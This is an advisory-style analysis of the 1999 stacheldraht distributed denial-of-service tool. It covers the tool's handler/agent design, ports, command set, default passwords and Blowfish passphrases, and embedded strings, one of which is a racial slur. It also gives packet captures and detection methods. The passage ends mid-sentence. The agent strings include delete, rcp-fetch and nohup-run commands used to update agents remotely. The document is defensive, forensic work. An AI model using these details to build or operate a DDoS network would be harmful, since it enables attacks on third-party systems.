COMMAND

    The "stacheldraht" distributed denial of service attack tool

SYSTEMS AFFECTED

    You?

PROBLEM

    David Dittrich found following.   The following is an analysis  of
    "stacheldraht", a distributed denial of service attack tool, based
    on source code from  the "Tribe Flood Network"  distributed denial
    of  service  attack  tool.  [Note  that  throughout this analysis,
    actual nicks, site names, and IP addresses have been sanitized.]

    Stacheldraht (German for "barbed  wire") combines features of  the
    "trinoo" distributed  denial of  service tool,  with those  of the
    original TFN,  and adds  encryption of  communication between  the
    attacker  and  stacheldraht  masters   and  automated  update   of
    the agents.  For more information on trinoo and TFN, see:

        http://staff.washington.edu/dittrich/misc/trinoo.analysis
        http://staff.washington.edu/dittrich/misc/tfn.analysis
        http://oliver.efri.hr/~crv/security/bugs/mUNIXes/dos3.html

    In late  June and  early July  of 1999,  one or  more groups  were
    installing and testing trinoo networks and waging medium to  large
    scale denial of  service attacks employing  networks of over  2000
    compromised systems.  These  attacks involved, and were  aimed at,
    systems around the globe.  In late August/early September of 1999,
    focus  began  to  shift  from  trinoo  to  TFN, presumed to be the
    original code by Mixter.  Then in late September/early October,  a
    program  that  looked  a  lot   like  the  TFN  agent,  known   as
    "stacheldraht", began  to show  up on  systems in  Europe and  the
    United States.   These attacks prompted  CERT to release  Incident
    Note 99-04.

    Like  trinoo,  stacheldraht  is  made  up  of master (handler) and
    daemon,   or   "bcast"   (agent)   programs.    The  handler/agent
    terminology was developed at the CERT Distributed System  Intruder
    Tools workshop  held in  November 1999,  and will  be used in this
    analysis  instead  of  the  stacheldraht  specific  terms.   It is
    highly recommended that the CERT workshop report be read as  well.
    See:

        http://www.cert.org/reports/dsit_workshop.pdf

    There is some competition to stacheldraht in the form of  Mixter's
    new  version  of  TFN  --  Tribe  Flood  Network 2000, or TFN2K --
    released on December 21, 1999.  For more on TFN2K, See:

        http://packetstorm.securify.com/distributed/
        http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html

    Along  with  trinoo's  handler/agent  features,  stacheldraht also
    shares TFN's features of distributed network denial of service  by
    way  of  ICMP  flood,  SYN  flood,  UDP  flood,  and "Smurf" style
    attacks.   Unlike  the  original  TFN  and  TFN2K,  the   analyzed
    stacheldraht  code  does  not  contain  the "on demand" root shell
    bound to a TCP port (it may be based on earlier TFN code than  was
    made public by Mixter in mid-1999).

    One of the  weaknesses of TFN  was that the  attacker's connection
    to the master(s) that control the network was in clear-text  form,
    and was subject  to standard TCP  attacks (session hijacking,  RST
    sniping,  etc.)  Stacheldraht  deals   with  this  by  adding   an
    encrypting   "telnet    alike"   (stacheldraht    term)    client.
    Stacheldraht  agents  were  originally  found  in binary form on a
    number of  Solaris 2.x  systems, which  were identified  as having
    been compromised  by exploitation  of buffer  overrun bugs  in the
    RPC services "statd",  "cmsd" and "ttdbserverd".   They have  been
    witnessed "in the wild" as late as the writing of this analysis.

    After publishing  analyses of  trinoo and  Tribe Flood  Network on
    Bugtraq  in  December  1999,  an  incident investigator at another
    institution provided  stacheldraht source  code that  was obtained
    from a file  cache in a  stolen account.   This analysis was  done
    using  this  captured  source  code  (labelled  version  1.1, with
    source  file   modification  dates   ranging  from   8/15/1999  to
    10/17/1999).  The Makefiles  contain rules for Linux  and Solaris,
    with the  default being  Linux (even  though it  appears that  the
    code does not work very reliably  on Linux).  For the purposes  of
    this analysis, all programs were compiled and run on Red Hat Linux
    6.0 systems.  As far as we are aware, the agent has been witnessed
    "in the wild" only on Solaris 2.x systems.

    One thing that  may not have  been clearly stated  in the analyses
    done on trinoo and Tribe Flood Network is that distributed  denial
    of  service  attacks  are  two  phase  attacks, with "victims" and
    "attackers"  that  are  defined  depending  on your point of view.
    There is an initial mass-intrusion phase, in which automated tools
    are  used  to  remotely  root  compromise  large numbers (i.e., in
    the  several  hundred   to  several  thousand   ranges)  and   the
    distributed  denial  of  service  agents  are  installed  on these
    compromised  systems.   These  are  primary  victims  (of   system
    compromise.)  None  of these distributed  denial of service  tools
    have any features that facilitate compromising systems, and  these
    automated tools are held closely  by those groups who wrote  them.
    The  mass-instrusion  phase  is  followed  by the actual denial of
    service attack  phase, in  which these  compromised systems  which
    constitute  the  handlers  and  agents  of  the distributed attack
    network  are  used  to  wage  massive  denial  of  service attacks
    against  one  or  more  sites.   These  are  secondary victims (of
    denial of service).  Remember that modification of the source code
    can and would change any of the details of this analysis, such  as
    prompts, passwords, commands,  TCP/UDP port numbers,  or supported
    attack methods, signatures, and features.

    The network: client(s)-->handler(s)-->agent(s)-->victim(s)
    ==========================================================
    The  stacheldraht  network  is  made  up  of  one  or more handler
    programs  ("mserv.c")  and  a  large  set of agents ("leaf/td.c").
    The attacker uses an encrypting "telnet alike" program to  connect
    to  and  communicate  with  the  handlers ("telnetc/client.c").  A
    stacheldraht network would look like this:

                       +--------+             +--------+
                       | client |             | client |
                       +--------+             +--------+
                           |                      |
            . . . --+------+---------------+------+----------------+-- . . .
                    |                      |                       |
                    |                      |                       |
              +-----------+          +-----------+           +-----------+
              |  handler  |          |  handler  |           |  handler  |
              +-----------+          +-----------+           +-----------+
                    |                      |                       |
                    |                      |                       |
    . . . ---+------+-----+------------+---+--------+------------+-+-- . . .
             |            |            |            |            |
             |            |            |            |            |
         +-------+    +-------+    +-------+    +-------+    +-------+
         | agent |    | agent |    | agent |    | agent |    | agent |
         +-------+    +-------+    +-------+    +-------+    +-------+

    The  attacker(s)  control  one  or  more handlers using encrypting
    clients.   Each handler  can control  many agents.   (There is  an
    internal limit in the  "mserv.c" code to 1000  agents.  It is  not
    know  why  1000  was  chosen,  but  the  code  does say that "1000
    sockets are leet0.")  The agents are all instructed to  coordinate
    a packet based  attack against one  or more victim  systems by the
    handler (referred  to as  an "mserver"  or "master  server" in the
    code.)

    Communication
    =============
    - Client to handler(s):     16660/tcp
    - Handler to/from agent(s): 65000/tcp, ICMP ECHO_REPLY

    Unlike trinoo, which uses  UDP for communication between  handlers
    and agents, or the original  Tribe Flood Network, which uses  ICMP
    for  communication  between  the  handler and agents, stacheldraht
    uses TCP and  ICMP.  Remote  control of a  stacheldraht network is
    accomplished  using  a  simple  client  that  uses  symmetric  key
    encryption for communication between itself and the handler.   The
    client accepts a  single argument, the  address of the  handler to
    which  it  should  connect.   It  then  connects  using a TCP port
    (default 16660/tcp in the analyzed  code).  The attacker sees  the
    following (if the proper password is given):

    # ./client 192.168.0.1
        [*] stacheldraht [*]
     (c) in 1999 by ...

    trying to connect...
    connection established.
    --------------------------------------
    enter the passphrase : sicken
    --------------------------------------
    entering interactive session.
    ******************************
       welcome to stacheldraht
    ******************************
    type .help if you are lame

    stacheldraht(status: a!1 d!0)>

    The prompt  shows the  number of  agents that  are believed  to be
    active ("a!")  and dead  ("d!") at  the time.   Using the  command
    ".help"  (let's  assume,  for  the  sake  of argument, that we are
    lame) shows the supported command set:

    stacheldraht(status: a!1 d!0)>.help
    available commands in this version are:
    --------------------------------------------------
    .mtimer   .mudp     .micmp .msyn    .msort  .mping
    .madd     .mlist    .msadd .msrem   .distro .help
    .setusize .setisize .mdie  .sprange .mstop  .killall
    .showdead .showalive
    --------------------------------------------------
    stacheldraht(status: a!1 d!0)>

    Commands
    ========
    .distro user server
        Instructs the agent  to install and  run a new  copy of itself
        using  the  Berkeley  "rcp"  command,  on the system "server",
        using  the  account  "user"  (e.g., "rcp user@server:linux.bin
        ttymon")

    .help
        Prints a list of supported commands.

    .killall
        Kills all active agents.

    .madd ip1[:ip2[:ipN]]
        Add IP addresses to list of attack victims.

    .mdie
        Sends die request to all agents.

    .mdos
        Begins DoS attack.

    .micmp ip1[:ip2[:ipN]]
        Begin ICMP flood attack against specified hosts.

    .mlist
        List IP addresses of hosts being DoS attacked at the moment.

    .mping
        Pings all agents (bcasts) to see if they are alive.

    .msadd
        Adds a new  master server (handler)  to the list  of available
        servers.

    .msort
        Sort out  dead/alive agents  (bcasts). (Sends  pings and shows
        counts/percentage of dead/alive agents).

    .mstop ip1[:ip2[:ipN]]
    .mstop all
        Stop attacking specific IP addresses, or all.

    .msrem
        Removes a master server  (handler) from the list  of available
        servers.

    .msyn ip1[:ip2[:ipN]]
        Begin SYN flood attack against specified hosts.

    .mtimer seconds
        Set timer for attack duration. (No checks on this value.)

    .mudp ip1[:ip2[:ipN]]
        Begin UDP flood attack  against specified hosts.   (Trinoo DoS
        emulation mode.)

    .setisize
        Sets   size   of   ICMP   packets   for  flooding.  (max:1024,
        default:1024).

    .setusize
        Sets size of UDP packets for flooding (max:1024,default:1024).

    .showalive
        Shows all "alive" agents (bcasts).

    .showdead
        Shows all "dead" agents (bcasts).

    .sprange lowport-highport
        Sets  the  range  of  ports  for  SYN  flooding  (defaults  to
        lowport:0, highport:140).

    Password protection
    ===================
    After  connecting  to  the  handler  using the client program, the
    attacker  is  prompted  for  a  password.   This password (default
    "sicken" in  the analyzed  code) is  a standard  crypt() encrypted
    password, which  is then  Blowfish encrypted  using the passphrase
    "authentication" before being sent over the network to the handler
    (*all* communication  between the  agent and  handler is  Blowfish
    encrypted with this passphrase.)  Like TFN, C macros  ("config.h")
    define values used  for expressing commands,  replacement argument
    vectors ("HIDEME" and "HIDEKIDS") to conceal program names, etc.:

        #ifndef _CONFIG_H

        /* user defined values for the teletubby flood network */

        #define HIDEME "(kswapd)"
        #define HIDEKIDS "httpd"
        #define CHILDS 10

        /* These are like passwords, you might want to change them */

        #define ID_SHELL   1	/* to bind a rootshell */

        #define ID_ADDR  699     /* ip add request for the flood server */

        #define  ID_SETPRANGE 2007 /* set port range for synflood */
        #define   ID_SETUSIZE 2006 /* set udp size */
        #define   ID_SETISIZE 2005 /* set icmp size */
        #define    ID_TIMESET 2004 /* set the flood time */
        #define     ID_DIEREQ 2003 /* shutdown request of the masterserver */
        #define   ID_DISTROIT 2002 /* distro request of the master server */
        #define ID_REMMSERVER 2001 /* remove added masterserver */
        #define ID_ADDMSERVER 2000 /* add new masterserver request */
        #define SPOOF_REPLY 1000   /* spoof test reply of the master server
        #define ID_TEST  668       /* test of the master server */
        #define ID_ICMP  1055  	   /* to icmp flood */
        #define ID_SENDUDP 2	   /* to udp flood */
        #define ID_SENDSYN 3	   /* to syn flood */
        #define ID_SYNPORT 4	   /* to set port */
        #define ID_STOPIT  5	   /* to stop flooding */
        #define ID_SWITCH  6	   /* to switch spoofing mode */
        #define ID_ACK     7	   /* for replies to the client */

        #define _CONFIG_H
        #endif

    As you can see, it is recommended that these be changed to prevent
    someone stumbling across the  agents from knowing what  values are
    used, thereby allowing them to execute agent commands.

    Fingerprints
    ============
    As  with  trinoo  and  Tribe  Flood  Network,  the methods used to
    install  the  handler/agent  will  be  the  same as installing any
    program  on  a  compromised  Unix  system,  with  all the standard
    options  for  concealing  the  programs  and  files  (e.g., use of
    hidden directories, "root kits", kernel modules, etc.)

    One feature  of stacheldraht  not shared  by trinoo  or TFN is the
    ability to  upgrade the  agents on  demand.   This feature employs
    the Berkeley "rcp"  command (514/tcp), using  a stolen account  at
    some site as  a cache.   On demand, all  agents are instructed  to
    delete  the  current  program  image,  go  out  and get a new copy
    (either  Linux-  or  Solaris-specific  binary) from a site/account
    using "rcp", start running this  new image with "nohup", and  then
    exit.  As for identifying  the programs in the file  system, there
    are (provided they are  not edited out) some  discernible strings.
    Strings embedded in the  encrypting client ("client") include  the
    following:

         . . .
        connection closed.
        usage: ./sclient <ip/host>
            [*] stacheldraht [*]
         (c) in 1999 by ...
        trying to connect...
        unable to resolv %s
        unable to connect.
        connection established.
        --------------------------------------
        enter the passphrase :
        authentication
        failed
        authentication failed.
        entering interactive session.
        ./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
        huhu
         . . .

    Strings embedded in the handler ("mserv") include the following:

         . . .
        %d.%d.%d.%d
        jbQ4yQaKLbFZc
        * mtimer reached *
        .quit
        exiting...
        you need to stop the packet action first.
        .help
        .version
        [*]stacheldraht[*] mserver version: 1.1
        setusize
        setisize
        mdos
        mping
        mudp
        micmp
        msyn
        mstop
        mtimer
        madd
        mlist
        msort
        msadd
        msrem
        distro
        sprange
        killall
        showdead
        showalive
        add some bcasts mofo.
        killing all active childs...
        usage: .sprange <lowport-highport>
        example: .sprange 0-140
         low port is : %i
        high port is : %i
        request was sent to the network.
        usage: .setusize <udp packet size (<=1024)>
        current udp packet size is %ibytes
        udp packet size was set to %i bytes.
        udp packet size is too large.
        usage: .setisize <icmp packet size (<=1024)>
        current icmp packet size is %ibytes
        icmp packet size was set to %i bytes.
        icmp packet size is too large.
        sending mass die request...
        finished.
        .mudp
        starting trinoo emulation...
        removing useful commands.
        - DONE -
        available commands in this version are:
        --------------------------------------------------
        .mtimer   .mudp     .micmp .msyn    .msort  .mping
        .madd     .mlist    .msadd .msrem   .distro .help
        .setusize .setisize .mdie  .sprange .mstop  .killall
        .showdead .showalive
        usage: .distro <user> <server that runs rcp>
        remember  : the distro files need to be executable!
        that means: chmod +x linux.bin , chmod +x sol.bin ;))
        sending distro request to all bcasts....
              user : %s
        rcp server :
        unable to resolve - %s
        unable to send distro request.
        request was sent, wait some minutes ;)
        usage: .msrem <masterserver>
        removing masterserver -
        failed.
        usage: .msadd <masterserver>
        adding masterserver -
        no packet action at the moment, sir.
        the followings ip(s) are getting packeted...
        --------------------------------------------
        [*] stacheldraht [*] is packeting %d ips
        [*] stacheldraht [*] is packeting 1 ip
        .mstop all
        deleting from packetlist...
        %s - removed.
        %s - skipped.
        restarting packeting routines...
        niggahbitch
        usage: .madd <ip1:ip2:ip3:ip4>
        adding to packetlist...
        %s - added.
        usage: .mtimer <seconds to packet>
        packet timer was set to %d seconds
        usage: .mstop <all> or <ip1:ip2:ip3:ip4:ip5 etc..>
        packeting stopped.
        usage: .msyn <ip1:ip2:ip3:ip4:ip5 etc..>
        the net is already packeting.
        mass syn flooding
        %i floodrequests were sent to %i bcasts.
        usage: .micmp <ip1:ip2:ip3:ip4:ip5 etc..>
        mass icmp bombing
        usage: .mudp <ip1:ip2:ip3:ip4:ip5 etc..>
        mass udp bombing
        tR1n00(status: a!%i d!%i)>
        stacheldraht(status: a!%i d!%i)>
        waiting for ping replies...
        total bcasts : %d   - 100%
        alive bcasts : 0   - 0%
        alive bcasts : %d   -  %d%
        dead bcasts  : %d   - %d%
        showing the alive bcasts...
        ---------------------------
        alive bcasts: %i
        showing the dead bcasts...
        --------------------------
        dead bcasts: %i
        sorting out all the dead bcasts
        -------------------------------
        %d dead bcasts were sorted out.
        bcasts
        [*]-stacheldraht-[*] - forking in the background...
        %i bcasts were successfully read in.
        3.3.3.3
        spoofworks
        ficken
        authentication
        failed
        ******************************
           welcome to stacheldraht
        type .help if you are lame
        ./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
        huhu
        [0;35mTribe Flood Network (c) 1999 by
        [5mMixter
         . . .

    Strings embedded in the agent ("td") include the following:

         . . .
        %d.%d.%d.%d
        ICMP
        Error sending syn packet.
        tc: unknown host
        3.3.3.3
        mservers
        randomsucks
        skillz
        ttymon
        rm -rf %s
        rcp %s@%s:linux.bin %s
        nohup ./%s
        1.1.1.1
        127.0.0.1
        lpsched
        no masterserver config found.
        using default ones.
        available servers: %i - working servers : 0
        [*] stacheldraht [*] installation failed.
        found a working [*] stacheldraht [*] masterserver.
        masterserver is gone, looking for a new one
        sicken
        in.telne
        ./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
         . . .

    When each  agent starts  up, it  attempts to  read a master server
    configuration file to learn which handler(s) may control it.  This
    file is  a list  of IP  addresses, encrypted  using Blowfish, with
    a passphrase  of "randomsucks".  Failing to  find a  configuration
    file, there are one or more default handler IP addresses  compiled
    into the program (shown above as "1.1.1.1" and "127.0.0.1" - these
    will obviously be changed).

    Once the  agent has  determined a  list of  potential handlers, it
    then starts at the beginning of the list of handlers and sends  an
    ICMP ECHO_REPLY packet with an  ID field containing the value  666
    and data  field containing  the string  "skillz".   If the  master
    gets this packet,  it sends back  an ECHO_REPLY packet  with an ID
    field  containing  the  value  667  and  data field containing the
    string "ficken".  (It should be  noted that there appears to be  a
    bug that makes  the handler and  agent send out  some large, e.g.,
    >1000 byte, packets.  The handler and agent continue  periodically
    sending  these  666|skillz  /  667|ficken  packets back and forth.
    This would  be one  way of  detecting agents/masters  by passively
    monitoring these ICMP packets.)

    Seen with "sniffit"  (modified per patches  in the TFN  analysis),
    these packets look like this:

        ICMP message id: 10.0.0.1 > 192.168.0.1
          ICMP type: Echo reply
         45 E 00 . 04 . 14 . 01 . 0F . 00 . 00 . 40 @ 01 . E9 . 53 S 0A . 00 . 00 . 01 .
         C0 . A6 . 00 . 01 . 00 . 00 . B4 . 13 . 02 . 9A . 00 . 00 . 00 . 00 . 00 . 00 .
         00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
         73 s 6B k 69 i 6C l 6C l 7A z 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
         00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
         . . . [60 lines of zeros deleted]
         00 . 00 . 00 . 00 .

        ICMP message id: 192.168.0.1 > 10.0.0.1
          ICMP type: Echo reply
         45 E 00 . 04 . 14 . 04 . F8 . 00 . 00 . 40 @ 01 . E5 . 6A j C0 . A6 . 00 . 01 .
         0A . 00 . 00 . 01 . 00 . 00 . CE . 21 ! 02 . 9B . 00 . 00 . 00 . 00 . 00 . 00 .
         00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
         66 f 69 i 63 c 6B k 65 e 6E n 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
         00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
         . . . [60 lines of zeros deleted]
         00 . 00 . 00 . 00 .

    In addition  to finding  an active  handler, the  agent performs a
    test to see if  the network on which  the agent is running  allows
    packets to  exit with  forged source  addresses.   It does this by
    sending out  an ICMP  ECHO packet  with a  forged IP  address   of
    "3.3.3.3", an ID of  666, and the IP  address of the agent  system
    (obtained by getting  the hostname, then  resolving this to  an IP
    address) in  the data  field of  the ICMP  packet.   (Note that it
    also  sets  the  Type  of  Service  field  to 7 on this particular
    packet, while others have a ToS value of 0.)

    If the master receives this  packet, it replies to the  IP address
    embedded in the packet with an ECHO_REPLY packet containing an  ID
    of 1000  and the  word "spoofworks"  in the  data field.   If  the
    agent receives this packet, it sets a spoof_level of 0 (can  spoof
    all 32 bits of  IP address).  If  it times out before  receiving a
    spoof reply  packet, it  sets a  spoof_level of  3 (can only spoof
    the final octet).  These packets (as seen by tcpdump and  tcpshow)
    are shown here:

    # tcpdump icmp
     . . .
    14:15:35.151061 3.3.3.3 > 192.168.0.1: icmp: echo request [tos 0x7]
    14:15:35.177216 192.168.0.1 > 10.0.0.1: icmp: echo reply
     . . .

    # tcpdump -lenx icmp | tcpshow -cooked
     . . .
    -----------------------------------------------------------------
    Packet 5
	    Timestamp:			14:08:04.171310
	    Source Ethernet Address:	00:10:1B:2B:3B:85
	    Destination Ethernet Address:	00:00:F0:00:69:78
	    Encapsulated Protocol:		IP
    IP Header
	    Version:			4
	    Header Length:			20 bytes
	    Service Type:			0x07
	    Datagram Length:		112 bytes
	    Identification:			0x021C
	    Flags:				MF=off, DF=off
	    Fragment Offset:		0
	    TTL:				255
	    Encapsulated Protocol:		ICMP
	    Header Checksum:		0x8408
	    Source IP Address:		3.3.3.3
	    Destination IP Address:		192.168.0.1
    ICMP Header
	    Type:				echo-request
	    Checksum:			0xF7FF
	    Id:				0x0000
	    Sequence:			0x0000
    ICMP Data
	    ....................10.0.0.1..................................................
	    <*** Rest of data missing from packet dump ***>

    Packet 7
	    Timestamp:			14:08:04.197954
	    Source Ethernet Address:	00:00:C0:B6:84:E4
	    Destination Ethernet Address:	00:00:F0:00:69:78
	    Encapsulated Protocol:		IP
    IP Header
	    Version:			4
	    Header Length:			20 bytes
	    Service Type:			0x00
	    Datagram Length:		1044 bytes
	    Identification:			0x198F
	    Flags:				MF=off, DF=off
	    Fragment Offset:		0
	    TTL:				64
	    Encapsulated Protocol:		ICMP
	    Header Checksum:		0x3022
	    Source IP Address:		192.168.0.1
	    Destination IP Address:		10.0.0.1
    ICMP Header
	    Type:				echo-reply
	    Checksum:			0xD7DA
	    Id:				0x03E8
	    Sequence:			0x0000
    ICMP Data
	    ....................spoofworks......................................
    ............................................................................
    ............................................................................
    ............................................................................
    ............................................................................
    ............................................................................
    ............................................................................
    ............................................................................
    ............................................................................
    ............................................................................
    ............................................................................
    ............................................................................
    ............................................................................
    ....................................
	    <*** Rest of data missing from packet dump ***>

    There is also a code in  the agent to perform an ID  test, sending
    an ICMP_ECHOREPLY packet  with an ID  field value of  669, and the
    string "sicken\n" in  the data field.   This code is  triggered if
    the  agent  is  sent  an  ICMP_ECHOREPLY  packet  with an ID field
    containing the  value 668.   The program  "gag" (see  below)  will
    allow you  to probe  for stacheldraht  agents, which  will show up
    with "ngrep" like this:

    Packet 1
	    Timestamp:			16:27:51.294727
	    Source Ethernet Address:	00:00:C0:B6:84:E4
	    Destination Ethernet Address:	00:00:F0:00:69:78
	    Encapsulated Protocol:		IP
    IP Header
	    Version:			4
	    Header Length:			20 bytes
	    Service Type:			0x10
	    Datagram Length:		40 bytes
	    Identification:			0x3558 (13656)
	    Flags:				MF=off, DF=on
	    Fragment Offset:		0
	    TTL:				64
	    Encapsulated Protocol:		ICMP
	    Header Checksum:		0xA644
	    Source IP Address:		10.0.0.2
	    Destination IP Address:		198.168.0.1
    ICMP Header
	    Type:				echo-reply
	    Checksum:			0xC61F
	    Id:				0x029C (668)
	    Sequence:			0x0000 (0)
    ICMP Data
	    gesundheit!....
    -----------------------------------------------------------------
    Packet 2
	    Timestamp:			16:27:51.340321
	    Source Ethernet Address:	00:10:1B:2B:3B:85
	    Destination Ethernet Address:	00:00:F0:00:69:78
	    Encapsulated Protocol:		IP
    IP Header
	    Version:			4
	    Header Length:			20 bytes
	    Service Type:			0x00
	    Datagram Length:		1044 bytes
	    Identification:			0x1D13 (7443)
	    Flags:				MF=off, DF=off
	    Fragment Offset:		0
	    TTL:				64
	    Encapsulated Protocol:		ICMP
	    Header Checksum:		0xFAA7
	    Source IP Address:		192.168.0.1
	    Destination IP Address:		10.0.0.2
    ICMP Header
	    Type:				echo-reply
	    Checksum:			0xB71F
	    Id:				0x029D (669)
	    Sequence:			0x0000 (0)
    ICMP Data
	    ....................sicken
	    ..................................................................
    ..........................................................................
    ..........................................................................
    ..........................................................................
    ..........................................................................
    ..........................................................................
    ..........................................................................
    ..........................................................................
    ..........................................................................
    ..........................................................................
    ..........................................................................
    ..........................................................................
    ..........................................................................
    ...................................
	    <*** Rest of data missing from packet dump ***>

    The script "gag" would be used like this.  First, build a list  of
    all suspect  systems (e.g.,  do an  "nmap" OS  detection scan  and
    find all Solaris and Linux  systems on your network, or  just scan
    the  entire  network  and  find  all  active IP addresses).  Start
    "tcpdump"  to  capture  all  the  potential replies for later use.
    Then start "gag", passing it this list of IP addresses to check.

        # tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
        # ./gag -v iplist
        sending packet [668/"gesundheit!"] to 192.168.0.1
        sending packet [668/"gesundheit!"] to 192.168.0.30
        sending packet [668/"gesundheit!"] to 192.168.1.2
        sending packet [668/"gesundheit!"] to 192.168.1.5
        sending packet [668/"gesundheit!"] to 192.168.2.10
        sending packet [668/"gesundheit!"] to 192.168.3.6
         . . .

    To see the list of  systems that returned ICMP ECHO_REPLY  packets
    with ID 669, do the following:

        # tcpdump -r stach.dump
        tcpdump: Filtering in user process
        15:27:57.520094 192.168.0.1 > 10.0.0.1: icmp: echo reply (DF)
        15:28:01.984660 192.168.2.10 > 10.0.0.1: icmp: echo reply (DF)

    To  actually  see  the  packet  contents  to confirm "sicken\n" is
    included, you can do the following:

        # tcpshow < stach.dump | egrep "Source IP|sicken"
        tcpdump: Filtering in user process
                Source IP Address:              198.162.0.1
                ....................sicken
                Source IP Address:              192.168.2.10
                ....................sicken

    [There are more elegant ways of doing this, like writing a  robust
    and feature filled  C program with  libnet (see Appendix  B of the
    original document  for reference),  but there  wasn't enough  time
    before Y2K eve to get elegant.  What the heck.  Dirty works fine.]

    The strings "skillz",  "spoofworks", "sicken", "niggahbitch",  and
    "ficken" -- all sent in  ICMP data segments -- are  not encrypted,
    so are  visible in  the data  portion of  ICMP ECHO_REPLY packets.
    The  ID  values  666,  667,  668,  669,  and  1000  would  also be
    identifiable in  the packet  flow using  the above  methods.   The
    stacheldraht handler,  which forks  to handle  commands and listen
    for ICMP packets, is seen on the system with "lsof" like this:

    # lsof -c mserv
    COMMAND  PID USER   FD   TYPE DEVICE    SIZE  NODE NAME
    mserv   1072 root  cwd    DIR    3,3    2048 40961 /tmp/...
    mserv   1072 root  rtd    DIR    3,3    1024     2 /
    mserv   1072 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
    mserv   1072 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
    mserv   1072 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
    mserv   1072 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
    mserv   1072 root    0u   CHR  136,4             6 /dev/pts/4
    mserv   1072 root    1u   CHR  136,4             6 /dev/pts/4
    mserv   1072 root    2u   CHR  136,4             6 /dev/pts/4
    mserv   1072 root    3u  sock    0,0          2143 can't identify protocol
    mserv   1073 root  cwd    DIR    3,3    2048 40961 /tmp/...
    mserv   1073 root  rtd    DIR    3,3    1024     2 /
    mserv   1073 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
    mserv   1073 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
    mserv   1073 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
    mserv   1073 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
    mserv   1073 root    0u   CHR  136,4             6 /dev/pts/4
    mserv   1073 root    1u   CHR  136,4             6 /dev/pts/4
    mserv   1073 root    2u   CHR  136,4             6 /dev/pts/4
    mserv   1073 root    3u  inet   2144           TCP *:16660 (LISTEN)
    mserv   1088 root  cwd    DIR    3,3    2048 40961 /tmp/...
    mserv   1088 root  rtd    DIR    3,3    1024     2 /
    mserv   1088 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
    mserv   1088 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
    mserv   1088 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
    mserv   1088 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
    mserv   1088 root    0u   CHR  136,4             6 /dev/pts/4
    mserv   1088 root    1u   CHR  136,4             6 /dev/pts/4
    mserv   1088 root    2u   CHR  136,4             6 /dev/pts/4
    mserv   1088 root    3r  FIFO    0,0          2227 pipe
    mserv   1088 root    5w  FIFO    0,0          2227 pipe
    mserv   1091 root  cwd    DIR    3,3    2048 40961 /tmp/...
    mserv   1091 root  rtd    DIR    3,3    1024     2 /
    mserv   1091 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
    mserv   1091 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
    mserv   1091 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
    mserv   1091 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
    mserv   1091 root    0u   CHR  136,4             6 /dev/pts/4
    mserv   1091 root    1u   CHR  136,4             6 /dev/pts/4
    mserv   1091 root    2u   CHR  136,4             6 /dev/pts/4
    mserv   1091 root    3r  FIFO    0,0          2240 pipe
    mserv   1091 root    4u  inet   2215           TCP
    192.168.0.1:16660->10.0.0.1:1029 (ESTABLISHED)
    mserv   1091 root    5w  FIFO    0,0          2240 pipe

    The agent, which also forks when in use, looks like this:

    # lsof -c ttymon
    COMMAND PID USER   FD   TYPE DEVICE    SIZE  NODE NAME
    ttymon  437 root  cwd    DIR    3,1    1024 37208 /usr/lib/libx/...
    ttymon  437 root  rtd    DIR    3,1    1024     2 /
    ttymon  437 root  txt    REG    3,1  324436 37112 /usr/lib/libx/.../ttymon
    ttymon  437 root  mem    REG    3,1  243964 29140 /lib/libnss_files-2.1.1.so
    ttymon  437 root  mem    REG    3,1 4016683 29115 /lib/libc-2.1.1.so
    ttymon  437 root  mem    REG    3,1  342206 28976 /lib/ld-2.1.1.so
    ttymon  437 root    3u  sock    0,0           779 can't identify protocol
    ttymon  449 root  cwd    DIR    3,1    1024 37208 /usr/lib/libx/...
    ttymon  449 root  rtd    DIR    3,1    1024     2 /
    ttymon  449 root  txt    REG    3,1  324436 37112 /usr/lib/libx/.../ttymon
    ttymon  449 root    0u  inet    811           TCP *:32222 (LISTEN)
    ttymon  449 root    3u  sock    0,0           779 can't identify protocol

    Weaknesses
    ==========
    If the source has not been modified, you can identify stacheldraht
    clients/handlers/agents  by  the  embedded  strings shown earlier.
    The .distro command uses the Berkeley "rcp" command for  obtaining
    updated  copies  of  the  agent.   Monitoring  "rcp"   connections
    (514/tcp)  from  multiple  systems  on  your  network,  in   quick
    succession, to a single IP  address outside your network would  be
    a  good  trigger.   (Note  that  the  use  of "rcp" in a this form
    requires an anonymous trust  relationship, usually in the  form of
    "+ +" in  a user's ~/.rhosts  file, which also  will allow you  to
    immediately archive the contents of this account while  contacting
    the owners to preserve evidence.)

    The IP  spoof test  uses a  constant source  address of "3.3.3.3".
    Watch  for  this  to  show  up  in  the source address of outgoing
